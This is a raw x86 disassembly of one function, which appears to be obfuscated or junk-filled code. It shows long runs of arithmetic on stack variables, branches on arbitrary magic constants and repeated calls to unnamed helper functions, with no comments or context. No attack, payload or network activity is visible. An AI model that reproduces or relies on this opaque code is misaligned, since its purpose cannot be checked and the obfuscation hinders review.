mov eax, dword [ebp - 0x740c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x7b40]
mov dword [ecx], eax
jmp 0x4edd3d
movzx edx, word [ebp - 0xf2c8]
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0xdc1c]
movzx ecx, word [eax]
movzx eax, word [ebp - 0x10914]
add ecx, eax
cmp edx, ecx
jge 0x4edd3d
mov ecx, dword [ebp - 0xb204]
xor ecx, dword [ebp - 0x1140]
mov dword [ebp - 0x6178], ecx
jmp 0x4ede23
mov edx, dword [ebp - 0x4e64]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xd0a1]
and eax, ecx
movsx edx, byte [ebp - 0x88cd]
movsx ecx, byte [ebp - 0x30bd]
sub edx, ecx
cmp eax, edx
jge 0x4ede23
mov edx, dword [ebp - 0xe364]
mov eax, dword [edx]
mov dword [ebp - 0x116ec], eax
cmp dword [ebp - 0x116ec], 0x777581a8
je 0x4edd88
jmp 0x4edd8a
jmp 0x4edd99
mov ecx, dword [ebp - 0x4e64]
movzx edx, byte [ecx]
push edx
call fcn.004eebb0
mov eax, dword [ebp - 0x5a4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x30bd]
add ecx, edx
mov eax, dword [ebp - 0xb0fc]
movsx edx, byte [eax]
mov eax, dword [0x4faeac]
movsx eax, byte [eax]
add edx, eax
cmp ecx, edx
jg 0x4ede0f
movzx ecx, word [0x4f8010]
mov edx, dword [ebp - 0x110b8]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x1b88], cx
mov ecx, dword [ebp - 0x2898]
mov edx, dword [ebp - 0xc2ec]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x2b38]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb0bc]
mov eax, dword [ebp - 0x688c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x1140], edx
jmp 0x4ede23
mov eax, dword [ebp - 0x92b0]
or eax, dword [ebp - 0x740c]
mov ecx, dword [ebp - 0x6b84]
mov dword [ecx], eax
movsx edx, word [ebp - 0x77a0]
mov eax, dword [ebp - 0xd6bc]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xfbf8], dx
mov edx, dword [0x4faeac]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4e64]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x4faeac]
mov byte [ecx], al
mov edx, dword [ebp - 0xc2ec]
mov eax, dword [edx]
sub eax, dword [ebp - 0x9ba8]
mov dword [ebp - 0x54c], eax
movzx ecx, byte [ebp - 0x1675]
mov edx, dword [ebp - 0xaed0]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x7830]
mov byte [edx], cl
jmp 0x4edeb8
mov eax, dword [ebp - 0x7830]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xa121]
add ecx, edx
mov eax, dword [ebp - 0x7830]
mov byte [eax], cl
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x6178]
shr edx, cl
mov dword [ebp - 0x1140], edx
mov eax, dword [0x4fa9b8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x6b24]
mov edx, dword [ebp - 0xac2c]
mov dword [edx], ecx
movsx eax, word [ebp - 0xfbf8]
movsx ecx, word [ebp - 0x99e8]
and eax, ecx
mov word [ebp - 0x77a0], ax
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4e64]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xb0fc]
mov byte [ecx], al
mov edx, dword [ebp - 0x13a4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf2c8]
add eax, ecx
mov word [ebp - 0x10914], ax
movzx edx, byte [ebp - 0x1675]
movzx ecx, byte [0x4f8002]
sar edx, cl
mov byte [ebp - 0xa121], dl
mov eax, dword [ebp - 0x8148]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x5034]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x8148]
mov word [edx], cx
mov eax, dword [ebp - 0x13a4]
movzx ecx, word [eax]
mov dword [ebp - 0x116f0], ecx
cmp dword [ebp - 0x116f0], 0x911
je 0x4edf69
jmp 0x4edf9b
movsx edx, byte [ebp - 0x30bd]
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x88cd], dl
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xe364]
add eax, dword [ecx]
mov edx, dword [ebp - 0xb0bc]
mov dword [edx], eax
jmp 0x4edfe2
mov eax, dword [ebp - 0xac2c]
mov ecx, dword [ebp - 0xdb10]
add ecx, dword [eax]
mov dword [ebp - 0x92b0], ecx
movzx edx, word [ebp - 0x10914]
movzx eax, word [ebp - 0x1b88]
add edx, eax
mov ecx, dword [ebp - 0x13a4]
mov word [ecx], dx
mov edx, dword [ebp - 0x7830]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xa121]
and eax, ecx
mov edx, dword [ebp - 0x7830]
mov byte [edx], al
jmp 0x4ee0e0
mov eax, dword [ebp - 0xb0fc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x4e64]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x88cd], cl
mov ecx, dword [ebp - 0x5034]
movsx edx, word [ecx]
mov dword [ebp - 0x116f4], edx
cmp dword [ebp - 0x116f4], 0x26e2
je 0x4ee093
cmp dword [ebp - 0x116f4], 0x2eec
je 0x4ee02d
jmp 0x4ee0c3
mov eax, dword [ebp - 0x778]
movzx edx, word [eax]
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1b88], dx
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x13a4]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x778]
mov word [eax], dx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x618c]
add edx, dword [eax]
mov dword [ebp - 0x1140], edx
mov ecx, dword [ebp - 0x49d8]
mov edx, dword [ecx]
sub edx, dword [0x4f8008]
mov eax, dword [ebp - 0x6b84]
mov dword [eax], edx
jmp 0x4ee0c3
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x740c]
push eax
mov ecx, dword [ebp - 0x2c8c]
push ecx
mov edx, dword [ebp - 0x8148]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
push edx
call fcn.004010a0
mov eax, dword [ebp - 0xd6bc]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x5034]
movsx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x8148]
mov word [edx], cx
mov eax, dword [ebp - 0x92b0]
add eax, dword [0x4f8008]
mov dword [ebp - 0x54c], eax
mov ecx, dword [ebp - 0x1140]
sub ecx, dword [ebp - 0x1a8c]
mov edx, dword [ebp - 0xe364]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x5108]
add ecx, dword [edx]
mov dword [0x4f8008], ecx
mov eax, dword [0x4fa9b8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x92b0]
sar edx, cl
mov eax, dword [ebp - 0x6b84]
mov dword [eax], edx
mov ecx, dword [ebp - 0x13a4]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0xc788]
mov word [eax], dx
mov ecx, dword [ebp - 0x6178]
push ecx
mov edx, dword [ebp - 0x2c8c]
push edx
mov eax, dword [ebp - 0x49d8]
mov ecx, dword [eax]
push ecx
movzx edx, word [ebp - 0x99e8]
push edx
mov eax, dword [ebp - 0x4138]
movzx ecx, word [eax]
push ecx
call fcn.004010a0
mov edx, dword [ebp - 0xfdd0]
add edx, dword [ebp - 0x92b0]
mov dword [ebp - 0x6b24], edx
mov eax, dword [ebp - 0x49d8]
mov ecx, dword [ebp - 0x6b24]
and ecx, dword [eax]
mov edx, dword [ebp - 0xac2c]
mov dword [edx], ecx
jmp 0x4ee1f0
movsx eax, byte [ebp - 0x30bd]
mov ecx, dword [ebp - 0xb0fc]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x4faeac]
mov byte [ecx], al
mov edx, dword [ebp - 0x3d3c]
push edx
mov eax, dword [ebp - 0x6208]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x92b0]
push edx
movzx eax, word [0x4fa540]
push eax
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
push edx
call fcn.004010a0
mov eax, dword [ebp - 0x49d8]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0xae84]
mov dword [ebp - 0xfdd0], ecx
mov edx, dword [ebp - 0xae84]
mov dword [ebp - 0x116f8], edx
cmp dword [ebp - 0x116f8], 0x37fc073b
je 0x4ee21e
jmp 0x4ee236
movsx eax, byte [ebp - 0xd0a1]
mov ecx, dword [0x4faeac]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x88cd], al
mov eax, dword [ebp - 0x5108]
mov ecx, dword [ebp - 0xac2c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x6b84]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb0fc]
movzx edx, byte [ecx]
push edx
call fcn.004eebb0
jmp 0x4ee277
mov eax, dword [ebp - 0x740c]
add eax, dword [ebp - 0xae84]
mov dword [0x4f8008], eax
push 0x62
call fcn.00401340
movzx ecx, word [ebp - 0xe53c]
mov edx, dword [ebp - 0x4138]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x110b8]
mov word [edx], cx
mov eax, dword [ebp - 0x4e64]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [0x4faeac]
movsx eax, byte [edx]
movsx edx, byte [ebp - 0x30bd]
or eax, edx
cmp ecx, eax
jge 0x4ee30a
mov eax, dword [ebp - 0x5034]
movsx edx, word [eax]
movsx ecx, word [ebp - 0xfbf8]
sar edx, cl
mov eax, dword [ebp - 0x5034]
mov word [eax], dx
movzx ecx, word [ebp - 0x8c14]
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xa264], cx
mov ecx, dword [ebp - 0x49d8]
mov edx, dword [ebp - 0x6b84]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [0x4fa9b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
mov dword [ebp - 0x116fc], eax
cmp dword [ebp - 0x116fc], 0x6d7
je 0x4ee37b
cmp dword [ebp - 0x116fc], 0xf2d
je 0x4ee333
jmp 0x4ee38f
mov ecx, dword [ebp - 0x2e60]
and ecx, dword [ebp - 0xb204]
mov edx, dword [ebp - 0x31b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
push ecx
mov edx, dword [0x4fa9b8]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x8148]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x8c14]
push edx
call fcn.004010a0
jmp 0x4ee38f
mov eax, dword [ebp - 0xe5c8]
mov ecx, dword [ebp - 0x3d3c]
add ecx, dword [eax]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x1a8c]
mov eax, dword [ebp - 0xe5c8]
mov ecx, dword [eax]
call section..text
jmp 0x4ee467
mov ecx, dword [ebp - 0x5108]
mov eax, dword [ebp - 0x54c]
cdq
idiv dword [ecx]
mov edx, dword [ebp - 0x6b24]
xor edx, dword [ebp - 0x2c8c]
cmp eax, edx
jg 0x4ee467
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x6178]
mov edx, dword [ebp - 0x31b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0xc788]
movzx ecx, word [eax]
mov dword [ebp - 0x11700], ecx
cmp dword [ebp - 0x11700], 0x65a
je 0x4ee409
cmp dword [ebp - 0x11700], 0xdcb
je 0x4ee433
jmp 0x4ee467
mov edx, dword [ebp - 0xac2c]
mov eax, dword [ebp - 0xae84]
add eax, dword [edx]
mov dword [ebp - 0xfdd0], eax
mov ecx, dword [ebp - 0x2c8c]
add ecx, dword [ebp - 0x92b0]
mov edx, dword [0x4fa9b8]
mov dword [edx], ecx
jmp 0x4ee467
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x8c14]
sub ecx, edx
mov word [ebp - 0xe53c], cx
mov eax, dword [ebp - 0x778]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xe53c]
and ecx, edx
mov eax, dword [ebp - 0xc788]
mov word [eax], cx
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xae84]
shl edx, cl
mov eax, dword [ebp - 0x49d8]
mov dword [eax], edx
movzx edx, word [ebp - 0x10914]
movzx ecx, word [ebp - 0xf2c8]
sar edx, cl
mov word [ebp - 0xa264], dx
mov eax, dword [ebp - 0x4e64]
movsx ecx, byte [eax]
mov edx, dword [0x4faeac]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x4e64]
mov byte [edx], cl
mov eax, dword [ebp - 0xfdd0]
add eax, dword [ebp - 0x92b0]
mov dword [ebp - 0x54c], eax
mov ecx, dword [ebp - 0x740c]
add ecx, dword [ebp - 0x3514]
mov dword [ebp - 0x92b0], ecx
mov edx, dword [ebp - 0x618c]
mov eax, dword [ebp - 0x1140]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6b84]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x6b24]
sar eax, cl
mov ecx, dword [ebp - 0x1f94]
mov dword [ecx], eax
jmp 0x4ee5bd
mov edx, dword [ebp - 0x92b0]
add edx, dword [ebp - 0x6b24]
mov dword [ebp - 0x54c], edx
movzx eax, word [ebp - 0x8c14]
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xc788]
mov word [ecx], ax
mov edx, dword [ebp - 0xac2c]
mov eax, dword [edx]
add eax, dword [0x4f8004]
mov ecx, dword [ebp - 0x5108]
mov edx, dword [ebp - 0x6b24]
add edx, dword [ecx]
cmp eax, edx
jg 0x4ee5bd
mov eax, dword [ebp - 0x740c]
mov dword [ebp - 0x11704], eax
cmp dword [ebp - 0x11704], 0x632a30ce
je 0x4ee58f
cmp dword [ebp - 0x11704], 0x7ef007b7
je 0x4ee57e
jmp 0x4ee5bd
mov ecx, dword [ebp - 0xb0fc]
movzx edx, byte [ecx]
push edx
call fcn.004eebb0
jmp 0x4ee5bd
movsx eax, byte [0x4f9af2]
mov ecx, dword [ebp - 0xb0fc]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x88cd], al
mov eax, dword [ebp - 0x6178]
mov ecx, dword [ebp - 0x3d3c]
shl eax, cl
mov ecx, dword [ebp - 0xe5c8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5034]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xd6bc]
movsx edx, word [ecx]
sub eax, edx
movsx ecx, word [ebp - 0xfbf8]
mov edx, dword [ebp - 0x8148]
movsx edx, word [edx]
sub ecx, edx
cmp eax, ecx
jle 0x4ee5f6
mov eax, dword [ebp - 0xb0fc]
movzx ecx, byte [eax]
push ecx
call fcn.004eebb0
jmp 0x4ee6d4
mov edx, dword [ebp - 0x6178]
or edx, dword [ebp - 0x3d3c]
mov eax, dword [ebp - 0x618c]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x1a8c]
cmp edx, ecx
jbe 0x4ee6d4
mov edx, dword [ebp - 0x688c]
mov eax, dword [ebp - 0x3d3c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x6178]
sub ecx, dword [ebp - 0x1a8c]
cmp eax, ecx
jb 0x4ee652
mov edx, dword [ebp - 0x6b24]
sub edx, dword [ebp - 0x740c]
mov dword [ebp - 0x54c], edx
jmp 0x4ee6d4
mov eax, dword [ebp - 0x6178]
mov dword [ebp - 0x11708], eax
cmp dword [ebp - 0x11708], 0x9124c51
je 0x4ee678
cmp dword [ebp - 0x11708], 0x8a22dcd7
je 0x4ee6c0
jmp 0x4ee6d4
mov ecx, dword [ebp - 0xe5c8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x618c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x618c]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x6b24]
push eax
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x8148]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x10914]
push edx
call fcn.004010a0
jmp 0x4ee6d4
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x740c]
mov dword [ebp - 0xae84], ecx
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xae84]
sar eax, cl
mov ecx, dword [ebp - 0x1f94]
mov dword [ecx], eax
jmp 0x4ee819
movsx edx, byte [0x4f9af2]
mov eax, dword [0x4faeac]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0xd0a1], dl
mov edx, dword [ebp - 0x2e60]
mov dword [ebp - 0x1170c], edx
cmp dword [ebp - 0x1170c], 0xf8f38e73
je 0x4ee7e7
cmp dword [ebp - 0x1170c], 0xfc1a50fe
je 0x4ee735
jmp 0x4ee819
mov eax, dword [ebp - 0x8148]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x77a0]
shl edx, cl
mov eax, dword [ebp - 0x8148]
mov word [eax], dx
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x10914]
sar edx, cl
mov word [section..data], dx
mov eax, dword [ebp - 0x740c]
mov dword [ebp - 0x11710], eax
cmp dword [ebp - 0x11710], 0x2caf94d4
je 0x4ee783
jmp 0x4ee7cf
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x740c]
mov eax, dword [ebp - 0x1f94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x10914]
and edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
movsx edx, word [ebp - 0x77a0]
mov eax, dword [ebp - 0x8148]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xfbf8], dx
jmp 0x4ee7e5
mov edx, dword [ebp - 0x618c]
mov eax, dword [ebp - 0x1a8c]
add eax, dword [edx]
mov ecx, dword [ebp - 0xe5c8]
mov dword [ecx], eax
jmp 0x4ee819
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x54c]
push eax
mov ecx, dword [ebp - 0x8148]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
push ecx
call fcn.004010a0
movsx edx, word [ebp - 0xfbf8]
mov dword [ebp - 0x11714], edx
cmp dword [ebp - 0x11714], 0x517
je 0x4ee840
cmp dword [ebp - 0x11714], 0x1499
je 0x4ee89a
jmp 0x4ee8a4
mov eax, dword [ebp - 0x740c]
add eax, dword [ebp - 0xae84]
mov dword [ebp - 0x6b24], eax
mov ecx, dword [ebp - 0x6b24]
and ecx, dword [ebp - 0x740c]
mov edx, dword [ebp - 0x1f94]
mov dword [edx], ecx
movzx eax, word [ebp - 0x10914]
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xf2c8], ax
movzx eax, word [ebp - 0xf2c8]
movzx ecx, word [ebp - 0x10914]
xor eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
jmp 0x4ee8a4
push 0x91
call fcn.00401340
jmp 0x4ee916
movzx eax, word [ebp - 0xf2c8]
movzx ecx, word [section..data]
add eax, ecx
mov edx, dword [ebp - 0x110b8]
mov word [edx], ax
movsx eax, word [ebp - 0xfbf8]
sub eax, 0x79b6
movsx ecx, word [ebp - 0x77a0]
cmp eax, ecx
jl 0x4ee916
movsx edx, word [ebp - 0xfbf8]
mov dword [ebp - 0x11718], edx
cmp dword [ebp - 0x11718], 0x5ed1
je 0x4ee8f1
jmp 0x4ee8fd
push 0xb5
call fcn.00401340
jmp 0x4ee916
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
movzx edx, word [section..data]
add ecx, edx
mov word [ebp - 0xf2c8], cx
movsx eax, word [ebp - 0x77a0]
mov dword [ebp - 0x1171c], eax
cmp dword [ebp - 0x1171c], 0x4643
je 0x4ee931
jmp 0x4ee933
jmp 0x4ee945
mov ecx, dword [ebp - 0xae84]
sub ecx, dword [ebp - 0x740c]
mov dword [ebp - 0x6b24], ecx
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [section..data]
and edx, eax
mov ecx, dword [ebp - 0x110b8]
mov word [ecx], dx
movzx edx, byte [0x4f9af2]
push edx
call fcn.004eebb0
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
shr ecx, 0xe
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x688c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x740c]
add edx, dword [ebp - 0x6b24]
mov dword [ebp - 0xae84], edx
movzx eax, word [ebp - 0xf2c8]
mov dword [ebp - 0x11720], eax
cmp dword [ebp - 0x11720], 0x72a
je 0x4ee9bf
jmp 0x4ee9df
mov ecx, dword [ebp - 0x2e60]
sub ecx, 0x7757137c
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
push 0xef
call fcn.00401340
jmp 0x4eea1e
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e60]
mov edx, dword [ebp - 0x688c]
mov dword [edx], ecx
movsx eax, word [ebp - 0xfbf8]
add eax, 0x4933
mov word [ebp - 0x77a0], ax
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2e60]
mov eax, dword [ebp - 0x688c]
mov dword [eax], edx
movzx ecx, byte [0x4f9af2]
push ecx
call fcn.004eebb0
movzx edx, word [ebp - 0xf2c8]
mov dword [ebp - 0x11724], edx
cmp dword [ebp - 0x11724], 0x20b
je 0x4eea48
jmp 0x4eea92
mov eax, dword [ebp - 0xae84]
mov dword [ebp - 0x11728], eax
cmp dword [ebp - 0x11728], 0x58226d41
je 0x4eea62
jmp 0x4eea72
movzx ecx, word [section..data]
sar ecx, 1
mov word [ebp - 0xf2c8], cx
mov edx, dword [ebp - 0x2e60]
shl edx, 0x1b
mov dword [ebp - 0x2e60], edx
mov edx, dword [ebp - 0x2e60]
mov ecx, dword [ebp - 0x2e60]
call section..text
mov eax, dword [ebp - 0x6b24]
xor eax, dword [ebp - 0x740c]
mov dword [ebp - 0xae84], eax
movzx ecx, word [section..data]
or ecx, 0x7ce
mov word [ebp - 0xf2c8], cx
mov edx, dword [ebp - 0xae84]
sub edx, dword [ebp - 0x6b24]
cmp edx, dword [ebp - 0x740c]
jl 0x4eeb29
mov al, byte [0x4f9af2]
mov byte [ebp - 0x1172c], al
cmp byte [ebp - 0x1172c], 0x13
je 0x4eeb17
cmp byte [ebp - 0x1172c], 0x4f
je 0x4eeaeb
jmp 0x4eeb29
mov ecx, dword [ebp - 0x2e60]
push ecx
mov edx, dword [ebp - 0xae84]
push edx
mov eax, dword [ebp - 0x740c]
push eax
movzx ecx, word [ebp - 0xfbf8]
push ecx
movzx edx, word [ebp - 0xf2c8]
push edx
call fcn.004010a0
jmp 0x4eeb29
mov eax, dword [ebp - 0x740c]
add eax, dword [ebp - 0x6b24]
mov dword [ebp - 0xae84], eax
jmp 0x4eeb65
movzx ecx, word [ebp - 0xf2c8]
imul ecx, ecx, 0x74b
movzx edx, word [section..data]
cmp ecx, edx
jg 0x4eeb65
movsx eax, word [ebp - 0x77a0]
add eax, 0x3807
mov word [ebp - 0x77a0], ax
mov edx, 0xef
mov ecx, 0xb0
call section..text
movsx ecx, word [ebp - 0x77a0]
sub ecx, 0x110f
mov word [ebp - 0x77a0], cx
push 0x4f
push 0x1c
push 0x63
movzx edx, word [ebp - 0x77a0]
push edx
movzx eax, word [ebp - 0xf2c8]
push eax
call fcn.004010a0
mov eax, dword [ebp - 0x8ac4]
pop esi
mov esp, ebp
pop ebp
ret 0x10